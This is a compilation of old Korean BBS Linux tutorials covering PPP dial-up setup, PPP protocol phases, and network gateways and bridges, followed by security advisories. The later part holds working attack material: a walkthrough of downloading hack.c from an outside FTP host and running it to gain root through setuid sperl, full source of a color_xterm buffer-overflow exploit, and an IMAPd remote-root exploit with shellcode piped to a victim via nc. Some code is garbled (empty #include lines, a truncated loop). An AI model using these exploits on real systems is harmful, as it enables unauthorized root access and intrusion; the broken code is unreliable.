     Hostname : 사용하고 싶은 호스트 이름. 아무거나

     Domain : hitel.kol.co.kr

     Nameservers : 204.252.145.2

  ② Hosts

     기본적으로 127.0.0.1 의 localhost 가 있을겁니다.

     Add 버튼을 누른 후 IP : 204.252.145.2  Name : hitel.kol.co.kr

  ③ interfaces

     여기에도 기본적으로 127.0.0.1 의 localhost 가 있네요.

     역시 Add 버튼 누른 후 PPP 선택. 그러면 Phone Number, login, password 를

     물어보는데 어짜피 세연을 이용해서 할 것이므로 안 적어도 됩니다. 자,이제

     새로 생긴 ppp0 항목에 커서를 대고 Edit 를 누릅니다.

     · Hardware : 모뎀 속도 알아서 적고, 모뎀 포트는 /dev/modem

     · Communication : 그냥 넘어 갑니다.

     · Networking

      - Active interface at boot time : 부팅 때 마다 접속하겠다는 얘기인데

        세연을 이용해 필요시만 쓸 것이므로 체크 안하셔도 됩니다.

      - Set default route when making connection(defaultroute) : 체크합니다.

      - Restart PPP when connection fails : 접속이 실패했을 때 재접속을 합니다.


         MRU : 굳이 안 적어도 되겠지만 1500 정도

         Local IP address : 안 적어도 됩니다.

         Remote IP address : 204.252.145.2

  ④ Routing

     아무 설정을 안 해도 상관 없습니다.

==========================================================================
====


  이렇게만 해주면 일단 기본 설정은 끝납니다. 아마도 이 환경이 유효하려면 재부팅


해야 할겁니다. 자 이제 재부팅한 후 세연으로 하이텔 접속을 하고 go internet --->


34.가상 PPP 로 들어가신 후 Slirp Ready... 뭐 이런 비슷한 글귀가 나올때, 한텀 등


을 열거나 세연의 suspend 기능을 이용해 다음과 같은 명령을 실행합니다. 참고로 아


래 명령은 기본적으로 root 사용자만 가능합니다.

  #pppd /dev/modem  defaultroute

여기까지 성공했다면 O.K.입니다. 이제 여러분이 사용하고자 하는 프로그램들을 실행


하면 됩니다. 가장 많이 쓰시는 www 의 경우 넷스케이프, 아레나, 레드본 혹은  lynx


를 이용하시면 되겠죠. 특히 lynx 는 그림이 안 뜨므로 상당히 빠르게 쓸 수 있을 겁


니다.


[참고]

  ① #/etc/resolv.conf

       search hitel.kol.co.kr

       nameserver 204.252.145.2

  ② #/etc/hosts

       127.0.0.1      localhost

       204.252.145.2  hitel.kol.co.kr


  ③ #/etc/sysconfig/network-scripts/ifcfg-ppp0

       PHONENUM=

       PERSIST=yes

       DEFROUTE=yes

       ONBOOT=no

       DIALCMD=ATDT

       INITSTRING=ATZ

       MODEMPORT=/dev/modem

       LINESPEED=38400

       ESCAPECHARS=no

       DEFABORT=yes

       HARDFLOWCTL=yes

       DEVICE=ppp0

       REMIP=204.252.145.2

       IPADDR=

       BOOTP=no

       MRU=1500

PS. 으 웬일이지 중간에 한줄씩이 생기네요.
질문있으시면 syn3@hitel.kol.co.kr 로 해주세요.


여기 까지 입니다.
유용하게 쓰세요
이것은 레드햇 리눅스의 강좌입니다.


제  목: [강좌] 일반 리눅스의 ppp 접속하기

이것은 일반 리눅스상에서 접속하는 방법입니다.
밑과 동일하게 나우에서 퍼옴..

***************************************************************************
*** PPP에 대하여***********************************************************
***************************************************************************


1. ppp의 개요

   PPP는 Point-to-Point로써 packet을 교환하기 위한 link를 생성하는
data link층을 규정한 프로토콜이다. 복수의 프로토콜의 datagram을 운영하기
위한 표준적인 방법도 제공되어 있다. 여기서, datagram이란 IP protocol등의
network층에서 다루는 data의 단위. 이것이 capsul화 되어 data link층에 전해진다.
즉, PPP를 이용하여 한 호스트가 network에 연결되어 있는 호스트에 연결하면,
그때부터는 자신의 컴퓨터를 인터넷 호스트인 것처럼(자신의 컴퓨터를 인터넷에
바로 연결된 것처럼) 이용할 수 있는 것입니다.
   Point-to-Point 형의 접속형태를 실현하기 위한 프로토콜에
SLIP(Serial Line IP)가 있습니다. 이것은 IP protocol만 운용하고,
error등의 처리도 정의되어 있지 않다. PPP의 등장으로 지금까지 SLIP으로
접속하고 있던 조직도 PPP로 전환하고 있는 추세이다.

   다음에 PPP의 3가지 주요 구성요소가 있다.
 1) 복수의 프로토콜의 data link를 capsul화 하는 방법.
 2) data link의 접속을 확립, 설정, test하기 위한 LCP(Link Control Protocol)
 3) 서로다른 network층의 프로토콜의 전송을 실현, 설정하기 위한 NCP(Network
    Control Protocol)

   PPP는 복수의 network층 프로토콜의 통신을 실현하기 위하여 복수의 프로토콜
방법으로 실현되어져 있습니다.


 (1) link의 확립과 절단

    PPP가 link를 확립하고 통신을 개시하여 절단할 때 까지를 순서대로
   설명하고자 한다.

    1) Link Dead phase
      PPP는 이 phase로 부터 시작하여 다시 이 phase로 돌아와 종료한다.
     이 phase는 물리층의 통신준비가 정리되어 있지 않은 상태이다. 외부로
     부터 무엇인가의 event(carrier가 검출되어 진다거나, 관리자로 부터
     접속요구가 있다거나)가 일어나고, 물리층의 준비가 정리되면, Link
     Establishment phase로 천이한다.  이 때 LCP에 대하여 ''UP'' signal이
     보내진다.

    2) Link Establishment phase
      UP signale을 받은 LCP를 사용하여 Link에 관한 정보가 상호 교환되어
     링크확립의 과정이 시작된다. 이 때, LCP에 대하여 특별한 요구(링크 품질의
     감시와 인증 프로토콜의 유무등)가 없으면, 통신의 확립작업에 관해서는
     default의 조건으로 된다. 주의할 점은 LCP가 하는 작업은 모두 네트워크층의
     프로토콜에 의존하지 않는 것으로 되어 있다. network protocol에 의존하는
     부분은 4의 Network-Layer Protocol phrase에서 NCP에 의해 작업이 이루어 진다.
 네트워크층의 프로토콜에
     의존하지 않는 부분의 링크가 확립되면 LCP는 ''OPENED''라고 하는 상태가
     되고, PPP는 Authentication phrase로 천이한다.

    3) Authentication phrase
       network층의 프로토콜의 packet을 교환하기 전에 필요가 있으면 링크에
      접속한 peer간에서 인증이 일어납니다.
      "인증을 할 것인가?" 또는 "어떤 인증을 할 것인가?"는
      Link Establishment phrase에서 LCP에 의해 교환된 정보에 따른다.
      통상 인증이 일어나는 경우는 PAP, 또는 CHAP이 사용되어 진다. 인증이
      필요없거나 인증이 성공한 경우는 Network-Layer Protocol phrase로 천이한다.

    4) Network-Layer Protocol phrase
       PPP가 여기까지의 phrase에 성공하면 각 network층의 프로토콜(IP, IPX,
       AppleTalk등)에 대응한 NCP에 의해 각각 구별되는 network 이용을 위한
       정보를 교환한다.
       여기에 성공하면 이후 대응하는 프로토콜의 datagram은 자유롭게 링크상을
       다닐 수 있다. 대응하지 않는 packet이 수신된다면 그것은 제거되어 진다.
       이 phrase중에는 LCP, NCP, network층의 프로토콜등의 packet이 통과가능하다.

       또한, NCP는 언제라도 링크를 닫도록 요구할 수 있다.

     5) Link Termination phase
        carrier가 없게 되거나, 인증에 실패하거나, 링크의 품질이
        저하되거나, idle time이 오래되거나, 또는 관리자로 부터 단절요구가 오면,
        PPP는 언제라도 링크를 단절할 수 있다. 링크의 단절은 LCP의 작업에
        해당한다.
        실제에는 LCP가 단절하기 위한 정보를 ''Terminate packet''으로써
        상호교환한다.
        단절이 일어나면 PPP는 네트워크층의 프로토콜에게 그 보고를 하고,
        적절한 처리를 하게 한다. 필요하면, 물리층에 대해서도 링크 단절을
        위한 signal을 보내고, 물리적으로도 단절한다. 이 phrase에서는
        LCP이외의 packet은 모조리 제거되어 진다.  모든 작업이 종료하면
        Link Dead phrase로 천이한다.

    PPP는 이상과 같은 흐름으로 링크를 확립, 통신, 단절을 일으킨다.
 이러한 프로토콜들이 협조하여 PPP로써의 기능을 실현하고 있다. LCP가 링크를
 확립하고, NCP가 그 링크상에서 network층으로 정의되어진 프로토콜의 packet을
 통신할 수 있도록 설정한다.

  [참고]  일본 UNIX MAGAZINE 1995년 3월 p87부터..


  2.linux에서 dial-up 접속을 통한 ppp 이용

 (1) dial-up 접속과 uugetty

  * 모뎀을 통하여 pc에 접속할 때 uugetty는 다음의 화일에서 기동되고,
    초기설 되어 집니다.

     /etc/inittab                     기동
     /etc/gettydefs                   port의 초기설정
     /etc/default/uugetty.ttyS3       modem의 초기설정

   * /etc/inittab에는 감시하는 device(ttyS3)와 label(vc9600)을 인수로써
    지정한다.
    사용하는 단말의 type(vt100 등)은 옵션이다.

s1:45:respawn:/sbin/uugetty -d /etc/default/uugetty.ttyS3 ttyS3 vc9600 vt100

   RS232C port에 대응하는 스페셜 화일은 /dev/ttyS*이다. 이것은 call-in
  device이고, call-out device는 /dev/cua*이다.
   label은 /etc/gettydefs의 record의 선두에 쓰여있는 것이다.

  (2) /etc/gettydefs의 설정

    * /etc/gettydefs file의 record는 \#으로 구별되어지고, 5개의 field를
     지정한다. 제2field는 port의 초기설정, 제3field는 최종설정이다. 그리고,
     제4field는 로그인 프로세스의 설정이다. B9600이 통신속도를 설정하는
     파라미터이다.
     통신속도는 모뎀이 support하는 최고속도로 설정한다. CS8은 data length
     8bit, CRTSCTS는 modem과 PC 사이에서 RTS/CTS에 의한 하드웨어 flow를
     제어한다.  모뎀이 이 flow제어를 support하고 있으면 지정해 두는것이
     좋겠지요.

vc9600# B9600 CS8 CRTSCTS # B9600 SANE -ISTRIP CRTSCTS # @S login: #vc9600


   (3) uugetty.ttyS* 의 설정

      dial-up 접속에서는 uugetty.ttyS*의 설정이 바르게 되지 않으면,
     uugetty가 제대로 작동하지 않는다. 이 화일에서는 INIT, CONNECT,
     TIMEOUT의 지정이 특히 중요하다.

           HANGUP=YES
           DEBUG=010
           INIT="" AT\r OK ATS0=3&D0\r OK
           ALTLOCK=cua3
           ALTLINE=cua3
           WAITFOR=RING
           CONNECT="" ATs0=3\r CONNECT\s\A
           TIMEOUT=60
           LOGIN=/bin/login

   [HANGUP=YES] {uu}getty start시에 회선을 절단한다.

   [DEBUG=010]  debug 정보를 /var/adm/debug에 출력한다.

   [INIT]       {uu}getty start시에 serial port를 초기화한다. 이것은 모뎀이
                연결되어 있으면 반드시 해야한다.
                INIT에 지정하는 문자열은
                     
                에는 모뎀이 보내주는 문자열을 은
                PC가 모뎀에게 보내는 문자열을 지정한다.

    [WAITFOR=RING] modem이 보내주는 RING이라고 하는 문자를 user의 억세스라고
                  본다.

    [CONNECT]   전화가 연결된 후 반송하는 result code의 지정이다.
               위의 예와같이 지정하면 \s 후에 통신속도를 보내고,
               그리고 나서 uugetty는 그 속도를 자동 조정한다. 이 접속시의
               속도조정기능을 위해 inittab에는 모뎀이 support하고 있는
               최고속도를 초기치로써 지정할 수 있다.

               data의 전송속도에는 모뎀간의 회선속도와 단말과 모뎀간의
               단말 속도가 있다.  모뎀이 CONNECT라고 하는 문자와 함께
               반송하는 것은 회선속도이다.
               이 CONNECT에  의해 단말속도가 회선속도와 같도록 set되어 진다.

     [TIMEOUT]  보내는 신호를 수신하지 않으면 종료되는 시간. 즉 위의 경우
                login prompt가 보인 후 1분안에 login 하지 않으면 종료된다.
     [LOGIN]    login process의 지정. 이것은 default등으로 필요없을 때도
                있지만, 지정하지 않으면 로그인 프로세스가 발생하지 않는
                경우도 있다.

   (4) server로써의 set up

      (uu)getty를 이용하여 dial-up 접속을 가능하게 하는것을 보았을 것입니다.
     이 때 수신측에서 pppd deamon을 기동하면, ppp server로써 동작하게 됩니다.
     ppp전용 로그인 ID를 사용하면 됩니다. 그렇게 하면, 그 로그인명으로
     로그인을 하면 바로 pppd 데몬이 기동되는 것입니다. /etc/passwd file에서
     shell로써 /usr/sbin/pppd를 지정하기만 하면 되므로 setup은 간단합니다.
     PPP를 사용하는 사용자 전원이 ppp전용 로그인 ID와 password를 알고 있지
     않으면 안 됩니다.

     다음의 내용은 server측의 passwd file의 내용입니다.

        ppp:mZtjMMWS43oFY:512:14:PPP:/etc/ppp:/usr/sbin/pppd

     pppd 데몬은 설정을 /etc/ppp/options file에서 참조합니다.

     다음은 ppp server로써의 일반적인 설정 예입니다.

          crtscts
          passive
          38400
          modem
          proxyarp
          203.253.145.1:203.253.145.3

    [crtscts]  hardware flow를 제어
    [passive]  server(수신) 모드
    [38400]    통신속도. modem간의 속도가 아니라, 단말속도이다.
    [modem]    modem mode
    [proxyarp] 대리 ARP. client machine을 server machine이 속하는 LAN의
               일부로써 인식하게 하기 위한 것.
    [203.253.145.1:203.253.145.3] server와 client IP address. :으로 구별한다.

  (5) client로써의 setup

      pppd 기동 script를 작성한다.

    #!/bin/sh
    /usr/sbin/pppd connect '/usr/sbin/chat -f ~/.chat' /dev/cua3 \
                   38400 debug crtscts modem defaultroute

      이 기동 script에서는 chat script를 -f switch로 다른 별도의 화일을
     만들어 참조하고 있다. 여기에서는 chat script를 자신의 홈디렉토리에
     .chat라는 이름으로 두고 있다. 이 화일에는 password를 기술하게 되므로,
     chmod 600 \~/.chat 라고 실행하여 다른 유저가 읽을 수 없게 한다.

     [connect ] serial line을 setup하기 위해 실행화일이나 shell command가
                   사용되어 진다. 주로 chat 명령어가 사용되는데, 여기에서는
                   remote computer로 전화를 거는데 사용되어 진다. connect는
                   한 word만 인수로 사용하므로, 여기에서는 single quotation으로
                   묶여진 부분이 connect의 인수에 해당한다.

     [/dev/cua3]   사용하고자 하는 device설정. 여기에서 cua3은 모뎀이 com4를
                   사용하고 있음을 뜻한다.

     [38400]       속도. 접속이 안되는 경우 9600으로 한번 해보세요.

     [debug]       debug내용을 출력. 출력되는 화일은 /etc/syslog.conf에서 설정.


     [crtscts]     serial port의 data의 flow를 control하기 위해서 hardware
                   flow control을 사용하라.

     [modem]       modem control line을 사용하라. pppd는 전화를 걸기 전이나
                   건 후에 전화를 hang-up할 것이다. modem의 초기설정..
                   뭐 이런게 아닐까??

     [defaultroute] ppp link가 확립되었을 때, remote server를 gateway로
                    default routing을 한다.









제  목: [강좌] 게이트웨이 , 라우터 , 브릿지란?

게이트웨이(Gateway)는 일반적으로 하나의 네트워크, 혹은 울타리 안에서
밖으로 빠져나가는 중간 관문역할을 수행하는 것을 Gateway라고 합니다.
일반적으로 이야기할때, 라우터(Router)와 게이트웨이는 같은 의미로 생각하시면
문제가 없을 것입니다.

하지만, 게이트웨이가 다른 의미로 사용될 수도 있습니다.
예를 들면, WWW에서 CGI(Common Gateway Interface)같은 것은 게이트웨이의
의미가 라우터랑 다르지요.
http daemon이 인자를 받아 어떤 프로그램을 실행시켜
그 결과값을 사용하여 client에 다시 html형태로 자료를 전해주?

하여간, '일반적'인 경우에, Router와 Gateway는 같은 의미로 사용됩니다.

브릿지(Bridge)는 무엇이냐면요.
Router와 비슷하게, packet을 filtering, forwarding해 주는 역할을 수행하는
Network 장비입니다.
Router와 무엇이 다르냐고요?
Bridge는 Ethernet Address(LAN카드 ROM에 박혀있는 고유넘버)로 packet을
filtering합니다.

Router는 IP address로 packet을 filtering, forwarding합니다.

이게 무슨 의미냐?
A라는 LAN과 B라는 LAN이 브릿지로 연결되어 있다고 가정합니다.
Ethernet에서 A라는 LAN안에 있는 한 호스트가 같은 LAN안의 호스트에게
packet을 보냅니다.
그러면, 이 패킷은 B라는 LAN으로 전달될까요?


그렇지 않습니다. Ethernet은 방송(broadcasting)방식으로 packet을 보내므로
A랜안의 브릿지를 포함한 모든 호스트가 같은 패킷을 받아보지만,
브릿지는 A랜 안의 호스트가 A랜 안의 호스트로 packet을 보내는 것이므로
B랜쪽으로는 packet을 broadcasting하지 않습니다.

만일, A랜안의 호스트에서 packet을 B랜안의 호스트로 보낸다면,
먼저 호스트는 A랜안으로 packet을 broadcasting합니다.
A랜안에는 packet의 목적지가 없지요.
하지만, 이 패킷을 받아본 브릿지는 이걸 B쪽으로 broadcasting하는 겁니다.
그럼, 패킷이 전달되겠죠.

그러기 위해서는 Bridge는 두개 이상의 Network Interface를 가져야 하고요
(양쪽 랜으로 하나씩의 Interface가 있어야 하겠지요)
양쪽 LAN안의 Ethernet Address에 대한 정보를 모두 가지고 있어야 합니다.
LAN으로 연결하면 자동으로 bridge에서 이를 감지해서 정보 table을 만들지요.

브릿지(Bridge)를 사용하는 목적은 segment를 분리하기 위해 사용됩니다.
Ethernet방식의 약점은 broadcasting방식 때문에 하나의 LAN안에 너무 많은
호스트가 물려있다면, 성능이 저하되기 때문입니다.
그러므로, 하나의 랜을 두개 이상으로 쪼갤때,
즉, Bridge를 두어 같은 랜안의 packet은 바깥으로 나가지 못하게 하면
이런 단점을 극복할 수 있습니다.

Router는 Bridge와 동작원리가 같습니다.
단, packet을 무엇으로 filtering/forwarding하느냐가 다릅니다.

일반적인 router는 bridge 기능을 겸하고 있습니다.
그래서, 브라우터(brouter)라고 부르기도 하지요.

그림을 그려서 좀더 자세히 설명하면 좋으련만....
히히, 더이상 말하면 없는 실력이 들통나겠지요?  :-P


마지막으로 한마디 더,
Ethernet은 ISO 802위원회에서 제정한 802.2방식
    (CSMA/CD, Carrier Sense Multiple Access with Collision Detection)
을 사용합니다.
궁금하시면 아무거나 통신책을 보시면 친절하고 자세한 설명이
나와있을 겁니다.

 제  목: [강좌] 해킹하는 방법

이 강좌는 아주 위험한 강좌가 될 수도 있습니다.
이 강좌를 잘 이용하면 나우누리계정 서비스를 해킹 할 수도
있는 실력자(?)가 되죠.. 속이 빈 겉만 화려한 실력자요.
절대로 이것을 그대로 흉내만 내보고 그것에서 멈추세요.
더 공부를 한후에 본격적으로 하시고..

그럼 강좌 올라 갑니다.
참고로 과거에 해킹사건으로 떠들석한 해킹은 모두 이런 종류의 해킹입니다.
초보적인 수준이지요.
그럼..

해킹하는 사람들의 대부분은 이런 식으로 한답니다.
아주 보편적인 것이죠..
바로 소스 코드를 해당 호스트(해킹대상)에서 컴파일 한후 실행시키면
끝나는 거죠..
아주 쉽다구요?
그럼 그 과정을 한번 해볼까요?

[ 시작 ]

[root@loveyou lib]# telnet bbs.xxx.xx.xx
Trying 20.23.10.3...
Connected to xxxxxx.xx.kr.
Escape character is '^]'.

Welecom My host~

 ## 01:17 on Monday, 30 March 1998 (ttyp5)
login: loveyou
Password:
Last login: Mon Mar 30 00:50:04 from loveyou
[loveyou@bbs loveyou]$ ls -al /usr/bin/sperl*
-rwsr-xr-x   2 root     root       402280 Apr 22  1997 /usr/bin/sperl5.003

/* 해킹할 대상을 찾습니다.  대부분이 setuid 가 걸린 프로그램을 찾음
보세요. rws 라고 setuid가 설정되었죠?
그런후에 해당 해킹 프로그램을 가져와서 컴파일을 합니다.
보통은 ftp 로 그 소스를 가져 옵니다.  */

[loveyou@bbs loveyou]$ ftp loveyou.ml.org
Connected to loveyou.ml.org.
220 xxxxxxxx.xx.xx.xr FTP server (Version wu-2.4.2-academ[BETA-xx](1) Sat xxx xx

 xx:xx:xx KST 199x) ready.
Name (xxxxx:loveyou): loveyou
331 Password required for loveyou
Password:
230 User shade logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get hack.c
local: hack.c remote: hack.c
200 PORT command successful.
150 Opening BINARY mode data connection for hack.c (4037 bytes).
226 Transfer complete.
4037 bytes received in 1.57 secs (2.5 Kbytes/sec)
ftp> quit
[loveyou@bbs loveyou]$ cc -o hack hack.c

/* 소스를 컴파일 한다. hack 이라는 프로그램 생성 */

[loveyou@bbs loveyou]$ ./hack
Using address: 0x45c
# <- root 프롬프트 지요? 이렇게 되면 성공이에요

해킹 하기 너무 쉬워요.그렇지 않은가요?
하지만 이렇게 쉬운 해킹은 미연에 관리자들이 방지할 수 있지요..

관리자는 두가지 행동을 할 수 있습니다.
첫번째, 우선 막아둔다. chmod 700 /usr/bin/sperl*
두번째, 그 다음은 ftp 로 각 해당 리눅스 사이트나 소프트웨어 사이트로 가서
패치 파일을 가져와서 패치한다. 어떻게 할지 모른다면
그냥 첫번째만 해놓고 있어도 되고 러브유에게 자문을 구해도 된다.

^_^
여기까지에요.
재미있지요?


이런것이 해킹이에요.
과거에 나우누리 계정 서버 해킹해서 난리났던 고등학생은 이런 해킹이었죠.
너무 간단하죠?
해킹이라는 건 이정도가지고 볼 수가 없어요.
아주 일부분에 불과하니까요
하지만 이런 것을 성공했다고 우쭐대는 사람들이 많아서 좀 그렇네요.


 제  목: [강좌] 외부 특정 호스트의 접근 막기

음..어떤 호스트에서 자꾸 이상한 사람이 들어온다고 느낄땐
그 호스트의 사람만 못들어오게 하고 싶다구요?
그렇다면 방법이 있죠.
바로 유닉스,리눅스라면 기본적으로 설치되어 있는 TCP 와퍼를 이용하는
겁니다. 아~ 웬지 거창하다구여?
따악 2줄만 쓰면 됩니다.하하
/etc/hosts.deny 라는 파일이죠.. 그 파일안에
프로토콜:호스트네임
이런 형식으로 쓰면 됩니다.
그 예를 들면
ALL:soback.kornet.nm.kr
이라는 내용은 soback.kornet.nm.kr 에서 오는 모든 프로토콜의 접속을
금지 한다는 말입니다.
흐..유용하죠?
/etc/hosts.allow 라는 파일은 특정 호스트의 접속을 허가 할때 하죠.
그러니깐 음 위의 /etc/hosts.deny보단 상위의 비중을 차지 합니다.

 제  목: [보안] 리눅스 xterm,color_xterm
명령

        xrm (color_xterm, xterm, nxterm)

시스템

        Linux Slackware 3.1, RedHat 4.2

문제점

        버퍼 오버 플로우를 일으킨다.

    >-- cx.c --<

    /*
     * color_xterm   buffer    overflow   exploit   for   Linux   with
     * non-executable stack
     * Copyright (c) 1997 by Solar Designer
     *
     * 컴파일 방법:
     * gcc cx.c -o cx -L/usr/X11/lib \
     * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e
s/\\\.so.\\\+//`
     *
     * 실행 :
     * $ ./cx
     * system() found at: 401553b0
     * "/bin/sh" found at: 401bfa3d
     * bash# exit (^^;)
     * Segmentation fault
     */

    #include
    #include
    #include
    #include

    #include
    #include
    #include
    #include
    #include

    #define SIZE1           1200    /* Amount of data to overflow with */
    #define ALIGNMENT1      0       /* 0..3 */
    #define OFFSET          22000   /* Structure array offset */
    #define SIZE2           16000   /* Structure array size */
    #define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
    #define SIZE3           SIZE2
    #define ALIGNMENT3      (ALIGNMENT2 & 3)

    #define ADDR_MASK       0xFF000000

    char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];

    int *ptr;

    int pid, pc, shell, step;
    int started = 0;
    jmp_buf env;

    void handler() {
      started++;
    }

    /* SIGSEGV handler, to search in libc */
    void fault() {
      if (step < 0) {
    /* Change the search direction */
        longjmp(env, 1);
      } else {
    /* The search failed in both directions */

        puts("\"/bin/sh\" not found, bad luck");
        exit(1);
      }
    }

    void error(char *fn) {
      perror(fn);
      if (pid > 0) kill(pid, SIGKILL);
      exit(1);
    }

    int nz(int value) {
      if (!(value & 0xFF)) value |= 8;
      if (!(value & 0xFF00)) value |= 0x100;

      return value;
    }

    void main() {
    /*
     * A portable way to get the stack pointer value; why do other
exploits use
     * an assembly instruction here?!
     */
      int sp = (int)&sp;

      signal(SIGUSR1, handler);

    /* Create a child process to trace */
      if ((pid = fork()) < 0) error("fork");

      if (!pid) {
    /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);

    /* A loop since the parent may not start tracing immediately */
        while (1) system("");
      }

    /* Wait until the child tells us the next library call will be
system() */
      while (!started);

      if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

    /* Single step the child until it gets out of system() */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0))
error("PTRACE_SINGLESTEP");

      } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

    /* Single step the child until it calls system() again */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0))
error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

    /* Kill the child, we don't need it any more */
      if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
      pid = 0;

      printf("system() found at: %08x\n", pc);


    /* Let's hope there's an extra NOP if system() is 256 byte aligned */
      if (!(pc & 0xFF))
      if (*(unsigned char *)--pc != 0x90) pc = 0;

    /* There's no easy workaround for these (except for using another
function) */
      if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
        puts("Zero bytes in address, bad luck");
        exit(1);
      }

    /*
     * Search for a "/bin/sh" in libc until we find a copy with no zero
bytes
     * in its address. To avoid specifying the actual address that libc is
     * mmap()ed to we search from the address of system() in both
directions
    * until a SIGSEGV is generated.
     */
      if (setjmp(env)) step = 1; else step = -1;
      shell = pc;
      signal(SIGSEGV, fault);
      do
        while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
      while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
      signal(SIGSEGV, SIG_DFL);

      printf("\"/bin/sh\" found at: %08x\n", shell);

    /* buf1 (which we overflow with) is filled with pointers to buf2 */
      memset(buf1, 'x', ALIGNMENT1);
      ptr = (int *)(buf1 + ALIGNMENT1);
      while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
        *ptr++ = nz(sp - OFFSET);           /* db */

      buf1[SIZE1 - 1] = 0;

    /* buf2 is filled with pointers to "/bin/sh" and to buf3 */
      memset(buf2, 'x', SIZE2 + SIZE3);
      ptr = (int *)(buf2 + ALIGNMENT2);
      while ((char *)ptr < buf2 + SIZE2) {
        *ptr++ = shell;                     /* db->mbstate */
        *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
      }

    /* buf3 is filled with pointers to system() */
      ptr = (int *)(buf3 + ALIGNMENT3);
      while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
        *ptr++ = pc;                        /* db->methods->mbfinish */
      buf3[SIZE3 - 1] = 0;

    /* Put buf2 and buf3 on the stack */

      setenv("BUFFER", buf2, 1);

    /* GetDatabase() in libX11 will do
(*db->methods->mbfinish)(db->mbstate) */
      execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1,
NULL);
      error("execl");
    }

    >-- cx.c --<

해결책

    아래에서 패치버젼을 찾아서 패치한다.

        http://www.false.com/security/linux-stack/3:50  (17줄)


 제  목: [보안] 리눅스 Ghostscript
명령

        Ghostscript

시스템

        Linux systems running Ghostscript 1.4

문제점

        고스트 스크립의 문제점은 어떤 숨겨진 코드를 이용해서 그것을 이용해
        잠시 쉘을 통해서 어떤일을 할 수 있다. 그 코드는 포스트 스크립트의
        숨겨진 비밀 코드일 것이다. 루트의 명령을 내릴 수 잇다.

문제점

        1.4 이후의 고스트 스크립트를 깔아라..

---------------------------
 번  호: 114/177       등록자: 김용준(러브유)        98/02/16 23:52  (89줄)
 제  목: [보안] 리눅스 imapd
명령

        imapd

시스템

        RedHat 4.0버젼 까지
        Slackware 3.2

문제점

        imapd데몬을 이용해서 리모트 접속 자가 루트를 얻을 수 있다.
        이는 매우 위험하며...루트패스워드 조차 바꿀 수 있다.

    /*
     * IMAPd   Linux/intel  remote   xploit  by    savage@apostols.org
     * 1997-April-05
     * Workz fine against RedHat and imapd distributed with pine
     * Special  THANKS to:  b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and  the

    * rest of ToXyn !!!
     * usage:
     *     $ (imap 0; cat) | nc victim 143
     *             |
     *             +--> usually from -1000 to 1000 ( try in steps of  100
)
     *             [ I try 0, 100 and 200 - so1o ]
     */

    #include

    char shell[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
    "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
    "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xe8\xc0\xff\xff\xff/bin/sh";

    char username[1024+255];
    void main(int argc, char *argv[]) {
            int i,a;
            long val;

            if(argc>1)
                    a=atoi(argv[1]);
            else
                    a=0;

            strcpy(username,shell);

            for(i=strlen(username);i> 8;
                    username[i+2] = (val & 0x00ff0000) >> 16;
                    username[i+3] = (val & 0xff000000) >> 24;
            }

            username[ sizeof(username)-1 ] = 0;

            printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
    }

해결책

        래드햇 4.0 사용자는 4.1로 바꾸면 패치된다.
